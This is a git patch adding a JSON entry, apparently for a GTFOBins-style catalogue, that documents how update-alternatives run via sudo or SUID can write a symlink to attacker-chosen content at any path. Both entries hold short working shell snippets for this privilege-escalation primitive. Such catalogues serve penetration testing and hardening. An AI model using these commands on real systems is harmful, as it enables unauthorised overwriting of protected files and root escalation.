From 2e22a90753673ee367b7d83c5b768149ba1ec0a3 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Wed, 18 Nov 2020 21:00:01 +0100 Subject: [PATCH] add data source for update-alternatives --- data/update-alternatives.json | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 data/update-alternatives.json diff --git a/data/update-alternatives.json b/data/update-alternatives.json new file mode 100644 index 0000000..5f67310 --- /dev/null +++ b/data/update-alternatives.json @@ -0,0 +1,16 @@ +{ + "functions": { + "sudo": [ + { + "description": "Write in [file] a symlink to $TF.", + "code": "TF=$(mktemp)\necho DATA >$TF\nsudo update-alternatives --force --install [file] x \"$TF\" 0\n" + } + ], + "suid": [ + { + "description": "Write in [file] a symlink to $TF.", + "code": "TF=$(mktemp)\necho DATA >$TF\n./update-alternatives --force --install [file] x \"$TF\" 0\n" + } + ] + } +}